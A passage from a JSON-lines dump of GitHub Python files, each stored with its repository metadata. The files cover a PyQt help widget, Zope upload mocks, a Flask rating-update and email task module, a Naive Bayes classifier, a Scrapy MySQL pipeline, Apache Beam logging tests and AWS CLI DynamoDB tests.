')\n # 自动换行\n help_label.setWordWrap(True)\n # 高度固定\n help_label.setFixedHeight(help_label.sizeHint().height())\n self.canvas_content_layout.addRow(label, help_label)\n\n def add_row_text_browser(self, label_text, browser_text):\n label = QLabel()\n label.setAlignment(Qt.AlignmentFlag.AlignTop)\n label.setObjectName('form_label')\n label.setText(label_text)\n content_browser = ScrollableTextBrowser()\n # 自动换行\n content_browser.setLineWrapMode(content_browser.LineWrapMode.WidgetWidth)\n\n # 使用 QTextDocument 设置文本,可以获取文本实际高度\n doc = QTextDocument()\n doc.setDefaultFont(content_browser.currentFont())\n # 设置样式,拼接富文本\n html_text = f'{TEXT_BROWSER_STYLE}
{browser_text}
'\n # 使用html来展示富文本,可以设置更多样式\n doc.setHtml(html_text)\n content_browser.setDocument(doc)\n\n font_metrics = QFontMetrics(content_browser.currentFont())\n line_height = font_metrics.height()\n # 为了美观,高度增加两行\n content_browser.setFixedHeight(doc.size().height() + (line_height << 1))\n self.canvas_content_layout.addRow(label, content_browser)\n","repo_name":"xiqiuyimeng/code-generator","sub_path":"src/view/widget/help/help_widget_abc.py","file_name":"help_widget_abc.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"12983343440","text":"from ZPublisher.HTTPRequest import FileUpload\nfrom Globals import package_home\nimport os\n\nGLOBALS=globals()\nPACKAGE_HOME=package_home(GLOBALS)\nGIF = open(os.path.join(PACKAGE_HOME, 'tool.gif')).read()\nTEXT='file data'\n\nclass File(FileUpload):\n __allow_access_to_unprotected_subobjects__ = 1\n filename = 'dummy.txt'\n data = TEXT\n headers = {}\n\n def __init__(self, filename=None, data=None, headers=None):\n if filename is not None:\n self.filename = filename\n if data is not None:\n self.data = data\n if headers is not None:\n self.headers = headers\n\n def seek(self, *args): pass\n def tell(self, *args): return 1\n def read(self, *args): return self.data\n\n\nclass DefaultImage(File):\n filename = 'default.gif'\n data = GIF\n","repo_name":"Cenditel/cenditel.ppm","sub_path":"cenditel/ppm/Image.py","file_name":"Image.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"1869105343","text":"\"\"\"\nModule contains tasks for ranking data update:\n - Update rankings.\n - Translate new strings.\n - Update rankings statistics.\n - Update player statistics.\n - Send email reports.\n\"\"\"\nfrom time import time\nfrom models import db, User, Game, Player, Tournament\nfrom flask_mail import Message\nfrom app import mail\nfrom flask import request\nfrom flask_babel import _\nfrom flask import render_template\nfrom app import app, cache, mail_alert\nfrom itsdangerous import URLSafeSerializer\nfrom views import common\nfrom services import parser, translator, statistics, email_reports, games_chain\n\n\ndef update_ua(raises=False):\n success = True\n updated_data = parser.parse_ua()\n if not updated_data:\n return\n translate_new_strings(updated_data, raises=raises)\n update_statistics(raises=raises)\n if updated_data.get('new'):\n send_ua_monthly_report(raises=raises)\n mail_alert(f'New rating. Updated data: {updated_data}')\n else:\n mail_alert(f'Rating updated. Updated data: {updated_data}')\n if updated_data.get('players'):\n send_rating_update_report(updated_data['players'])\n update_graph_for_games_chain(raises=raises)\n cache.clear()\n return success\n\n\ndef update_world():\n if parser.parse_world_rating():\n send_world_monthly_report()\n\n\ndef subtask(name):\n \"\"\"Wraps a func in 'try except' block and log result.\"\"\"\n\n def wrapper(f):\n def wrapped(*args, **kwargs):\n raises = kwargs.pop('raises', None)\n try:\n start = time()\n app.logger.info(f'Task \"{name}\" started')\n result = f(*args, **kwargs)\n end = time()\n app.logger.info(f'Task \"{name}\" finished. Time: {end-start}')\n return result\n except Exception as e:\n app.logger.error(f'Task \"{name}\" failed! {e}')\n if raises:\n raise\n\n return wrapped\n\n return wrapper\n\n\n@subtask('Update graph for games chain')\ndef update_graph_for_games_chain():\n games_chain.update_graphs()\n\n\n@subtask('Translate new strings')\ndef translate_new_strings(updated_data):\n translator.add_translations(updated_data['players'], 'ua')\n translator.add_translations(updated_data['cities'], 'ua')\n translator.add_translations(updated_data['tournaments'], 'ua')\n\n\n@subtask('Update statistics')\ndef update_statistics():\n update_player_stats()\n statistics.calculate()\n\n\ndef generate_confirmation_token(email):\n serializer = URLSafeSerializer(app.config['SECRET_KEY'])\n return serializer.dumps(email, salt=app.config['SECURITY_PASSWORD_SALT'])\n\n\n@subtask('Send ua rating reports')\ndef send_ua_monthly_report():\n report = email_reports.generate_ua_monthly_report()\n users = User.query.filter_by(confirmed=True).all()\n users_divided_by_lang = {lang: [u for u in users if u.language == lang] for\n lang in app.config['SUPPORTED_LANGUAGES']}\n\n for lang, users in users_divided_by_lang.items():\n with app.test_request_context(f'/{lang}/'):\n request.lang = lang\n with mail.connect() as conn:\n for user in users:\n token = generate_confirmation_token(user.email)\n msg = Message(subject=_(\"Hoвий рейтинг\"),\n html=render_template('email/new_rating.html',\n user=user,\n token=token,\n report=report),\n recipients=[user.email])\n conn.send(msg)\n\n\n@subtask('Send ua rating updates reports')\ndef send_rating_update_report(updated_players):\n users = User.query.filter(\n User.confirmed == True,\n User.player_id.in_(updated_players)).all()\n users_divided_by_lang = {lang: [u for u in users if u.language == lang] for\n lang in app.config['SUPPORTED_LANGUAGES']}\n\n for lang, users in users_divided_by_lang.items():\n with app.test_request_context(f'/{lang}/'):\n request.lang = lang\n with mail.connect() as conn:\n for user in users:\n token = generate_confirmation_token(user.email)\n msg = Message(subject=_(\"Ваш рейтинг обновився\"),\n html=render_template(\n 'email/updated_rating.html',\n user=user,\n token=token),\n recipients=[user.email])\n conn.send(msg)\n\n\n@subtask('Send world rating reports')\ndef send_world_monthly_report():\n report = email_reports.generate_ua_monthly_report()\n users = User.query.filter_by(confirmed=True).all()\n users_divided_by_lang = {lang: [u for u in users if u.language == lang] for\n lang in app.config['SUPPORTED_LANGUAGES']}\n\n for lang, users in users_divided_by_lang.items():\n with app.test_request_context(f'/{lang}/'):\n request.lang = lang\n with mail.connect() as conn:\n for user in users:\n token = generate_confirmation_token(user.email)\n msg = Message(subject=_(\"Hoвий світовий рейтинг\"),\n html=render_template('email/new_rating.html',\n user=user,\n token=token,\n report=report),\n recipients=[user.email])\n conn.send(msg)\n\n\n@subtask('Update player stats for last month')\ndef update_player_stats(update_all=False):\n app.logger.info('Updating players info...')\n players = Player.query.filter(Player.rating != 0).all()\n current_rating = common.get_current_rating_list()\n\n if update_all:\n Player.query.update(tournaments_total=0, game_total=0, game_won=0)\n tournaments = Tournament.query.all()\n else:\n tournaments = Tournament.query.filter_by(\n rating_list_id=current_rating.id).all()\n\n for tournament in tournaments:\n app.logger.debug(f'Processing tournament {tournament.name}')\n games = Game.query.filter_by(tournament_id=tournament.id).all()\n player_games = {}\n for g in games:\n if not player_games.get(g.player_id):\n player_games[g.player_id] = list()\n player_games[g.player_id].append(g)\n for p in players:\n if not player_games.get(p.id):\n continue\n won = [g for g in player_games[p.id] if g.result]\n tourns = set([g.tournament_id for g in player_games[p.id]])\n p.game_total += len(player_games[p.id])\n p.game_won += len(won)\n p.tournaments_total += len(tourns)\n db.session.add(p)\n db.session.commit()\n","repo_name":"vitaliylevitskiand/ttrating","sub_path":"services/rating_update.py","file_name":"rating_update.py","file_ext":"py","file_size_in_byte":7153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"3815212740","text":"#!/usr/bin/env python\n#-*- coding:utf8 -*-\n# Power by GJT\n\nimport os\nimport numpy as np\n#获取当前路径\npath = os.getcwd() + \"\\\\数据处理\\\\朴素贝叶斯分类\\\\sentence.txt\"\n\n# 数据预处理\n\n\"\"\"\n 读取数据\n\"\"\"\ndef load_data_set():\n # 训练集合\n train_data_set = []\n posting_list = []\n for line in open(path):\n one_list = []\n one_list.append(line)\n train_data_set.append(one_list)\n for document in train_data_set:\n posting_list.append(document[0].split())\n train_data_set = posting_list\n #对应上述6篇文章的分类结果,1为侮辱性,0为非侮辱性\n classVec = [0,1,0,1,0,1] \n return train_data_set,classVec \n\n\"\"\"\n 创建一个没有重复词汇得列表\n\"\"\"\ndef createVocabList(dataSet):# 将所有文章中的词汇取并集汇总\n vocabSet = set([]) # 定义一个set(set存储的内容无重复)\n for document in dataSet:# 遍历导入的dataset数据,将所有词汇取并集存储至vocabSet中\n vocabSet = vocabSet | set(document) # | 符号为取并集,即获得所有文章的词汇表\n return list(vocabSet)\n\n\n\"\"\"\n 向量化训练句子\n\"\"\"\ndef setOfWordVec(vocabList, inputSet):\n returnVec = [0] * len(vocabList) # 生成一个全部为0得长度为向量次长度得向量\n for word in inputSet:\n if word in vocabList:\n returnVec[vocabList.index(word)] = 1\n else:\n print(\"the word: %s is not in my Vocabulary!\" %word)\n return returnVec\n\n\"\"\"\n 朴素贝叶斯分类器训练函数\n @trainMatrix 文章矩阵\n @trainCategory 训练分类\n\"\"\"\ndef trainNB0(trainMatrix, trainCategory):\n numTrainDocs = len(trainMatrix) #计算有多少篇文章\n numWords = len(trainMatrix[0]) #计算第一篇文档的词汇数\n pAbusive = sum(trainCategory) / float(numTrainDocs) #计算p(c1),p(c0)=1-p(c1)\n p0Num = np.zeros(numWords) #构建一个空矩阵,用来计算非侮辱性文章中词汇数\n p1Num = np.zeros(numWords) #构建一个空矩阵,用来计算侮辱性文章中词汇数\n p0Denom = 0.0; p1Denom = 0.0\n for i in range(numTrainDocs): #遍历每一篇文章,来求P(w|c)\n if trainCategory[i] == 1: #判断该文章是否为侮辱性文章\n p1Num += trainMatrix[i] #累计每个词汇出现的次数\n p1Denom += sum(trainMatrix[i]) #计算所有该类别下不同词汇出现的总次数\n else: #如果该文章为非侮辱性文章\n p0Num += trainMatrix[i] \n p0Denom += sum(trainMatrix[i])\n p1Vect = p1Num/p1Denom #计算每个词汇出现的概率P(wi|c1)\n p0Vect = p0Num/p0Denom #计算每个词汇出现的概率P(wi|c0)\n return p0Vect,p1Vect,pAbusive\n\n\"\"\"\n 朴素贝叶斯分类函数\n\"\"\"\ndef classifyNB(vec2Classify, p0Vec, p1Vec, pClass1):\n p1 = sum(vec2Classify * p1Vec) + np.log(pClass1)\n p0 = sum(vec2Classify * p0Vec) + np.log(1.0 - pClass1)\n if p1 > p0:\n return \"带有侮辱性的词语\"\n else:\n return \"正常语句\"\n\n\"\"\"\n 测试贝叶斯分类\n\"\"\"\ndef testNB():\n # 加载数据集\n train_data_set,classVec = load_data_set()\n # 创建词集合\n vocab_set = createVocabList(train_data_set)\n # 生成向量\n trainMat = []\n for postinDoc in train_data_set:\n trainMat.append(setOfWordVec(vocab_set, postinDoc))\n # 朴素贝叶斯分类器训练函数\n p0V, p1V, pAb = trainNB0(np.array(trainMat), np.array(classVec))\n\n test_entry = ['love', 'my', 'dalmation']\n\n thisDoc = np.array(setOfWordVec(vocab_set, test_entry))\n\n print(test_entry, '分类是:', classifyNB(thisDoc, p0V, p1V, pAb))\n\n test_entry = ['stupid', 'garbage']\n\n thisDoc = np.array(setOfWordVec(vocab_set, test_entry))\n\n print(test_entry, '分类是:', classifyNB(thisDoc, p0V, p1V, pAb))\n\nif __name__ == \"__main__\":\n testNB()\n\n\n\n ","repo_name":"lyfFlied/python_work","sub_path":"数据处理/朴素贝叶斯分类/朴素贝叶斯分类-en.py","file_name":"朴素贝叶斯分类-en.py","file_ext":"py","file_size_in_byte":3999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"73238972707","text":"import msg_pb2\nfrom gameEvent import MyEvent\nfrom packetid import PacketID\n\nclass packetHandler(object):\n def __init__(self,event_dispatcher):\n self.event_dispatcher = event_dispatcher\n self.event_dispatcher.add_event_listener(PacketID.sc_loginGame, self.on_packet_login)\n self.event_dispatcher.add_event_listener(PacketID.sc_startMatching, self.on_packet_startMatching)\n self.event_dispatcher.add_event_listener(PacketID.br_queueStatus, self.on_packet_queueStatus)\n\n def on_packet_login(self,event):\n scMsg = msg_pb2.sc_loginGame()\n scMsg.ParseFromString(event.data)\n self.event_dispatcher.dispatch_event(MyEvent(MyEvent.SET_USER_ID,scMsg.userid))\n\n def on_packet_startMatching(self,event):\n scMsg = msg_pb2.sc_startMatching()\n scMsg.ParseFromString(event.data)\n if scMsg.result == 0:\n print (\"on_packet_startMatching -- matching failure\")\n\n def on_packet_queueStatus(self,event):\n scMsg = msg_pb2.br_queueStatus()\n scMsg.ParseFromString(event.data)\n readyNum = 0\n for user in scMsg.users:\n if user.status == 2:\n readyNum = readyNum + 1\n\n self.event_dispatcher.dispatch_event(MyEvent(MyEvent.QUEUE_UPDATE, readyNum))\n","repo_name":"tjandy/work","sub_path":"robot/socket/packetHandler.py","file_name":"packetHandler.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25111106226","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport scrapy\n\nimport MySQLdb\n\n\nclass JobProfessionPipeline(object):\n\n def __init__(self):\n # prepare the json file to store the content\n #self.file = open('items.jl', 'wb')\n\n self.db = MySQLdb.connect(host=\"localhost\",\n user=\"root\",\n #passwd=\"\",\n db=\"ganji\",\n charset='utf8' )\n self.cursor = self.db.cursor()\n self.cursor.execute('use ganji')\n\n self.sql_check_jp_item = '''\n SELECT id FROM ganji.job_profession\n WHERE id = %s\n '''\n self.sql = '''INSERT \n INTO progress(city_en, city, \n job_industry_en, job_industry,\n job_profession_en, job_profession) VALUES (%s, %s, %s, %s, %s, %s)'''\n \n \n self.insert_jp_item = '''\n INSERT INTO job_profession\n (id, \n city_en, city, \n job_profession_en, job_profession,\n job_url,\n job_salary, job_education, job_experience, job_age, job_vacancy, \n job_company_en, job_company \n ) \n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)'''\n \n pass\n \n def process_item(self, item, spider):\n if not self.cursor.execute(self.sql_check_jp_item, str(item['id'])):\n args = (str(item['id']), \n str(item['city_en']), str(item['city']),\n str(item['job_profession_en']), str(item['job_profession']),\n str(item['job_url']),\n str(item['job_salary']),str(item['job_education']),str(item['job_experience']),str(item['job_age']),\n str(item['job_vacancy']),\n str(item['job_company_en']), str(item['job_company']))\n\n self.cursor.execute(self.insert_jp_item, args)\n self.db.commit()\n return item\n else:\n raise DropItem(\"existing item %s\" % item)\n #try add to db\n #catch\n # exist\n # raise DropItem(\"existing item %s\" % item)\n #line = json.dumps(dict(item)) + \"\\n\"\n #self.file.write(line)\n \n","repo_name":"y0n1g/spiders","sub_path":"ganji_jobs/job_profession/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12517163680","text":"import logging\nimport re\nimport unittest\n\nimport grpc\n\nimport apache_beam as beam\nfrom apache_beam.coders.coders import FastPrimitivesCoder\nfrom apache_beam.portability import common_urns\nfrom apache_beam.portability.api import beam_fn_api_pb2\nfrom apache_beam.portability.api import beam_fn_api_pb2_grpc\nfrom apache_beam.portability.api import endpoints_pb2\nfrom apache_beam.runners import common\nfrom apache_beam.runners.common import NameContext\nfrom apache_beam.runners.worker import bundle_processor\nfrom apache_beam.runners.worker import log_handler\nfrom apache_beam.runners.worker import operations\nfrom apache_beam.runners.worker import statesampler\nfrom apache_beam.runners.worker.bundle_processor import BeamTransformFactory\nfrom apache_beam.runners.worker.bundle_processor import BundleProcessor\nfrom apache_beam.transforms.window import GlobalWindow\nfrom apache_beam.utils import thread_pool_executor\nfrom apache_beam.utils.windowed_value import WindowedValue\n\n_LOGGER = logging.getLogger(__name__)\n\n\n@BeamTransformFactory.register_urn('beam:internal:testexn:v1', bytes)\ndef create_exception_dofn(\n factory, transform_id, transform_proto, payload, consumers):\n \"\"\"Returns a test DoFn that raises the given exception.\"\"\"\n class RaiseException(beam.DoFn):\n def __init__(self, msg):\n self.msg = msg.decode()\n\n def process(self, _):\n raise RuntimeError(self.msg)\n\n return bundle_processor._create_simple_pardo_operation(\n factory,\n transform_id,\n transform_proto,\n consumers,\n RaiseException(payload))\n\n\nclass TestOperation(operations.Operation):\n \"\"\"Test operation that forwards its payload to consumers.\"\"\"\n class Spec:\n def __init__(self, transform_proto):\n self.output_coders = [\n FastPrimitivesCoder() for _ in transform_proto.outputs\n ]\n\n def __init__(\n self,\n transform_proto,\n name_context,\n counter_factory,\n state_sampler,\n consumers,\n payload,\n ):\n super().__init__(\n name_context,\n self.Spec(transform_proto),\n counter_factory,\n state_sampler)\n self.payload = payload\n\n for _, consumer_ops in consumers.items():\n for consumer in consumer_ops:\n self.add_receiver(consumer, 0)\n\n def start(self):\n super().start()\n\n # Not using windowing logic, so just using simple defaults here.\n if self.payload:\n self.process(\n WindowedValue(self.payload, timestamp=0, windows=[GlobalWindow()]))\n\n def process(self, windowed_value):\n self.output(windowed_value)\n\n\n@BeamTransformFactory.register_urn('beam:internal:testop:v1', bytes)\ndef create_test_op(factory, transform_id, transform_proto, payload, consumers):\n return TestOperation(\n transform_proto,\n common.NameContext(transform_proto.unique_name, transform_id),\n factory.counter_factory,\n factory.state_sampler,\n consumers,\n payload)\n\n\nclass BeamFnLoggingServicer(beam_fn_api_pb2_grpc.BeamFnLoggingServicer):\n def __init__(self):\n self.log_records_received = []\n\n def Logging(self, request_iterator, context):\n\n for log_record in request_iterator:\n self.log_records_received.append(log_record)\n\n yield beam_fn_api_pb2.LogControl()\n\n\nclass FnApiLogRecordHandlerTest(unittest.TestCase):\n def setUp(self):\n self.test_logging_service = BeamFnLoggingServicer()\n self.server = grpc.server(thread_pool_executor.shared_unbounded_instance())\n beam_fn_api_pb2_grpc.add_BeamFnLoggingServicer_to_server(\n self.test_logging_service, self.server)\n self.test_port = self.server.add_insecure_port('[::]:0')\n self.server.start()\n\n self.logging_service_descriptor = endpoints_pb2.ApiServiceDescriptor()\n self.logging_service_descriptor.url = 'localhost:%s' % self.test_port\n self.fn_log_handler = log_handler.FnApiLogRecordHandler(\n self.logging_service_descriptor)\n logging.getLogger().setLevel(logging.INFO)\n logging.getLogger().addHandler(self.fn_log_handler)\n\n def tearDown(self):\n # wait upto 5 seconds.\n self.server.stop(5)\n\n def _verify_fn_log_handler(self, num_log_entries):\n msg = 'Testing fn logging'\n _LOGGER.debug('Debug Message 1')\n for idx in range(num_log_entries):\n _LOGGER.info('%s: %s', msg, idx)\n _LOGGER.debug('Debug Message 2')\n\n # Wait for logs to be sent to server.\n self.fn_log_handler.close()\n\n num_received_log_entries = 0\n for outer in self.test_logging_service.log_records_received:\n for log_entry in outer.log_entries:\n self.assertEqual(\n beam_fn_api_pb2.LogEntry.Severity.INFO, log_entry.severity)\n self.assertEqual(\n '%s: %s' % (msg, num_received_log_entries), log_entry.message)\n self.assertTrue(\n re.match(r'.*log_handler_test.py:\\d+', log_entry.log_location),\n log_entry.log_location)\n self.assertGreater(log_entry.timestamp.seconds, 0)\n self.assertGreaterEqual(log_entry.timestamp.nanos, 0)\n num_received_log_entries += 1\n\n self.assertEqual(num_received_log_entries, num_log_entries)\n\n def assertContains(self, haystack, needle):\n self.assertTrue(\n needle in haystack, 'Expected %r to contain %r.' % (haystack, needle))\n\n def test_exc_info(self):\n try:\n raise ValueError('some message')\n except ValueError:\n _LOGGER.error('some error', exc_info=True)\n\n self.fn_log_handler.close()\n\n log_entry = self.test_logging_service.log_records_received[0].log_entries[0]\n self.assertContains(log_entry.message, 'some error')\n self.assertContains(log_entry.trace, 'some message')\n self.assertContains(log_entry.trace, 'log_handler_test.py')\n\n def test_format_bad_message(self):\n # We specifically emit to the handler directly since we don't want to emit\n # to all handlers in general since we know that this record will raise an\n # exception during formatting.\n self.fn_log_handler.emit(\n logging.LogRecord(\n 'name',\n logging.ERROR,\n 'pathname',\n 777,\n 'TestLog %d', (None, ),\n exc_info=None))\n self.fn_log_handler.close()\n log_entry = self.test_logging_service.log_records_received[0].log_entries[0]\n self.assertContains(\n log_entry.message,\n \"Failed to format 'TestLog %d' with args '(None,)' during logging.\")\n\n def test_context(self):\n try:\n with statesampler.instruction_id('A'):\n tracker = statesampler.for_test()\n with tracker.scoped_state(NameContext('name', 'tid'), 'stage'):\n _LOGGER.info('message a')\n with statesampler.instruction_id('B'):\n _LOGGER.info('message b')\n _LOGGER.info('message c')\n\n self.fn_log_handler.close()\n a, b, c = sum(\n [list(logs.log_entries)\n for logs in self.test_logging_service.log_records_received], [])\n\n self.assertEqual(a.instruction_id, 'A')\n self.assertEqual(b.instruction_id, 'B')\n self.assertEqual(c.instruction_id, '')\n\n self.assertEqual(a.transform_id, 'tid')\n self.assertEqual(b.transform_id, '')\n self.assertEqual(c.transform_id, '')\n\n finally:\n statesampler.set_current_tracker(None)\n\n def test_extracts_transform_id_during_exceptions(self):\n \"\"\"Tests that transform ids are captured during user code exceptions.\"\"\"\n descriptor = beam_fn_api_pb2.ProcessBundleDescriptor()\n\n # Boiler plate for the DoFn.\n WINDOWING_ID = 'window'\n WINDOW_CODER_ID = 'cw'\n window = descriptor.windowing_strategies[WINDOWING_ID]\n window.window_fn.urn = common_urns.global_windows.urn\n window.window_coder_id = WINDOW_CODER_ID\n window.trigger.default.SetInParent()\n window_coder = descriptor.coders[WINDOW_CODER_ID]\n window_coder.spec.urn = common_urns.StandardCoders.Enum.GLOBAL_WINDOW.urn\n\n # Input collection to the exception raising DoFn.\n INPUT_PCOLLECTION_ID = 'pc-in'\n INPUT_CODER_ID = 'c-in'\n descriptor.pcollections[\n INPUT_PCOLLECTION_ID].unique_name = INPUT_PCOLLECTION_ID\n descriptor.pcollections[INPUT_PCOLLECTION_ID].coder_id = INPUT_CODER_ID\n descriptor.pcollections[\n INPUT_PCOLLECTION_ID].windowing_strategy_id = WINDOWING_ID\n descriptor.coders[\n INPUT_CODER_ID].spec.urn = common_urns.StandardCoders.Enum.BYTES.urn\n\n # Output collection to the exception raising DoFn.\n OUTPUT_PCOLLECTION_ID = 'pc-out'\n OUTPUT_CODER_ID = 'c-out'\n descriptor.pcollections[\n OUTPUT_PCOLLECTION_ID].unique_name = OUTPUT_PCOLLECTION_ID\n descriptor.pcollections[OUTPUT_PCOLLECTION_ID].coder_id = OUTPUT_CODER_ID\n descriptor.pcollections[\n OUTPUT_PCOLLECTION_ID].windowing_strategy_id = WINDOWING_ID\n descriptor.coders[\n OUTPUT_CODER_ID].spec.urn = common_urns.StandardCoders.Enum.BYTES.urn\n\n # Add a simple transform to inject an element into the fake pipeline.\n TEST_OP_TRANSFORM_ID = 'test_op'\n test_transform = descriptor.transforms[TEST_OP_TRANSFORM_ID]\n test_transform.outputs['None'] = INPUT_PCOLLECTION_ID\n test_transform.spec.urn = 'beam:internal:testop:v1'\n test_transform.spec.payload = b'hello, world!'\n\n # Add the DoFn to create an exception.\n TEST_EXCEPTION_TRANSFORM_ID = 'test_transform'\n test_transform = descriptor.transforms[TEST_EXCEPTION_TRANSFORM_ID]\n test_transform.inputs['0'] = INPUT_PCOLLECTION_ID\n test_transform.outputs['None'] = OUTPUT_PCOLLECTION_ID\n test_transform.spec.urn = 'beam:internal:testexn:v1'\n test_transform.spec.payload = b'expected exception'\n\n # Create and process a fake bundle. The instruction id doesn't matter\n # here.\n processor = BundleProcessor(set(), descriptor, None, None)\n\n with self.assertRaisesRegex(RuntimeError, 'expected exception'):\n processor.process_bundle('instruction_id')\n\n self.fn_log_handler.close()\n logs = [\n log for logs in self.test_logging_service.log_records_received\n for log in logs.log_entries\n ]\n\n actual_log = logs[0]\n\n self.assertEqual(\n actual_log.severity, beam_fn_api_pb2.LogEntry.Severity.ERROR)\n self.assertTrue('expected exception' in actual_log.message)\n self.assertEqual(actual_log.transform_id, 'test_transform')\n\n\n# Test cases.\ndata = {\n 'one_batch': log_handler.FnApiLogRecordHandler._MAX_BATCH_SIZE - 47,\n 'exact_multiple': log_handler.FnApiLogRecordHandler._MAX_BATCH_SIZE,\n 'multi_batch': log_handler.FnApiLogRecordHandler._MAX_BATCH_SIZE * 3 + 47\n}\n\n\ndef _create_test(name, num_logs):\n setattr(\n FnApiLogRecordHandlerTest,\n 'test_%s' % name,\n lambda self: self._verify_fn_log_handler(num_logs))\n\n\nfor test_name, num_logs_entries in data.items():\n _create_test(test_name, num_logs_entries)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"apache/beam","sub_path":"sdks/python/apache_beam/runners/worker/log_handler_test.py","file_name":"log_handler_test.py","file_ext":"py","file_size_in_byte":10738,"program_lang":"python","lang":"en","doc_type":"code","stars":7242,"dataset":"github-code","pt":"70"} +{"seq_id":"43515819916","text":"import csv\nfrom torchmetrics.text.rouge import ROUGEScore\n\nrouge = ROUGEScore()\n\nout_data_file = open('TABLE-3.csv', 'w')\nheader = ['R-1-onlycnn', 'R-1-mixcnn', 'R-2-onlycnn', 'R-2-mixcnn', 'R-L-onlycnn', 'R-L-mixcnn']\nwriter = csv.writer(out_data_file, delimiter='\\t')\nwriter.writerow(header)\n\nwith open('./cnn_dm_ori/shamane.cnndmonly') as cnndmonly_file, open(\n './cnn_dm_ori/shamane.summarizeme.cnndm') as cnndmsummarizedme_file, open(\n './cnn_dm_ori/cnndm.target') as T_file:\n for only, ours, T in zip(cnndmonly_file, cnndmsummarizedme_file, T_file):\n cnn_only = \" \".join(only.split())\n ours = \" \".join(ours.split())\n T = \" \".join(T.split())\n\n cnnonly_rouge = rouge(cnn_only, T)\n ours_rouge = rouge(ours, T)\n\n line = [cnnonly_rouge['rouge1_fmeasure'], ours_rouge['rouge1_fmeasure'], cnnonly_rouge['rouge2_fmeasure'],\n ours_rouge['rouge2_fmeasure'], cnnonly_rouge['rougeL_fmeasure'], ours_rouge['rougeL_fmeasure']\n ]\n\n line_numpy = [float(T.numpy()) for T in line]\n writer.writerow(line_numpy)\n","repo_name":"shamanez/ROUGE-score-stat","sub_path":"rouge-t-3.py","file_name":"rouge-t-3.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"36125160426","text":"import json\nimport os\nimport shutil\nimport tempfile\n\nimport ruamel.yaml as yaml\n\nfrom awscli.testutils import BaseAWSCommandParamsTest, capture_input\n\n\nclass TestPut(BaseAWSCommandParamsTest):\n def setUp(self):\n super(TestPut, self).setUp()\n self.parsed_response = {}\n self.tempdir = tempfile.mkdtemp()\n self.original_tag_handlers = yaml.YAML(typ='safe').constructor\\\n .yaml_constructors.copy()\n\n def tearDown(self):\n super(TestPut, self).tearDown()\n shutil.rmtree(self.tempdir)\n # This line looks wrong, right? Well... the \"yaml_constructors\"\n # is actually a class attribute that's shared across *all* of the\n # yaml.YAML() instances. Because the ddb customization registers\n # a custom handler for the binary and float types, this will break\n # other code (and tests) that rely on the default behavior. So\n # to fix this, we put back the original tag handlers that we saved\n # in self.original_tag_handlers to ensure we handle binary and\n # float types correctly.\n yaml.YAML(typ='safe').constructor.yaml_constructors.update(\n self.original_tag_handlers)\n\n def assert_yaml_response_equal(self, response, expected):\n with self.assertRaises(ValueError):\n json.loads(response)\n loaded = yaml.safe_load(response)\n self.assertEqual(loaded, expected)\n\n def test_simple_put(self):\n command = ['ddb', 'put', 'mytable', '{foo: bar}']\n expected_params = {\n 'TableName': 'mytable',\n 'ReturnConsumedCapacity': 'NONE',\n 'Item': {\"foo\": {\"S\": \"bar\"}},\n }\n self.assert_params_for_cmd(\n command, expected_params, expected_rc=0\n )\n operations_called = [o[0].name for o in self.operations_called]\n self.assertEqual(operations_called, ['PutItem'])\n\n def test_batch_write(self):\n command = [\n 'ddb', 'put', 'mytable', '[{foo: bar}, {foo: bar}]'\n ]\n expected_params = {\n 'ReturnConsumedCapacity': 'NONE',\n 'RequestItems': {\n 'mytable': [\n {'PutRequest': {'Item': {'foo': {'S': 'bar'}}}},\n {'PutRequest': {'Item': {'foo': {'S': 'bar'}}}},\n ]\n }\n }\n self.assert_params_for_cmd(\n command, expected_params, expected_rc=0\n )\n operations_called = [o[0].name for o in self.operations_called]\n self.assertEqual(operations_called, ['BatchWriteItem'])\n\n def test_batch_write_multiple_batches(self):\n items = ', '.join([\"{foo: bar}\" for _ in range(40)])\n command = [\n 'ddb', 'put', 'mytable', '[%s]' % items\n ]\n self.run_cmd(command, expected_rc=0)\n operations_called = [o[0].name for o in self.operations_called]\n self.assertEqual(operations_called, [\n 'BatchWriteItem', 'BatchWriteItem'\n ])\n\n first_params = self.operations_called[0][1]\n num_items = len(first_params['RequestItems']['mytable'])\n self.assertEqual(num_items, 25)\n self.assertEqual(first_params.get('ReturnConsumedCapacity'), 'NONE')\n\n second_params = self.operations_called[1][1]\n num_items = len(second_params['RequestItems']['mytable'])\n self.assertEqual(num_items, 15)\n self.assertEqual(second_params.get('ReturnConsumedCapacity'), 'NONE')\n\n def test_batch_write_unprocessed_items(self):\n self.parsed_responses = [\n {\n 'UnprocessedItems': {'mytable': [\n {'PutRequest': {'Item': {'foo': {'S': 'bar'}}}},\n ]}\n },\n {\n 'UnprocessedItems': {'mytable': [\n {'PutRequest': {'Item': {'foo': {'S': 'bar'}}}},\n ]}\n },\n {},\n ]\n\n items = ', '.join([\"{foo: bar}\" for _ in range(40)])\n command = [\n 'ddb', 'put', 'mytable', '[%s]' % items\n ]\n self.run_cmd(command, expected_rc=0)\n operations_called = [o[0].name for o in self.operations_called]\n self.assertEqual(operations_called, [\n 'BatchWriteItem', 'BatchWriteItem', 'BatchWriteItem',\n ])\n\n first_params = self.operations_called[0][1]\n num_items = len(first_params['RequestItems']['mytable'])\n self.assertEqual(num_items, 25)\n\n second_params = 